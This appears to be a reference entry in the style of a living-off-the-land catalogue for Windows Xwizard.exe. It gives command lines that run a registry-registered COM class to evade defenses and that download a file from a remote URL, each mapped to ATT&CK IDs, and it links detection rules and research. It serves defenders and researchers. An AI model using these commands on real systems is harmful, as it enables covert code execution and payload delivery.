Xwizard.exe

Commands

1. ExecuteUser T1218

   Run a com object created in registry to evade defensive counter measures

   xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}

   Xwizard.exe running a custom class that has been added to the registry.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: COM

2. ExecuteUser T1218

   Run a com object created in registry to evade defensive counter measures

   xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}

   Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: COM

3. DownloadUser T1105

   Download file from Internet

   xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}

   Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.

   os: Windows 10, Windows 11

   Download: INetCache

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml
• Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/execution_com_object_xwizard.toml
• Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Resources

• http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
• https://www.youtube.com/watch?v=LwDHX7DVHWU
• https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
• https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
• https://twitter.com/notwhickey/status/1306023056847110144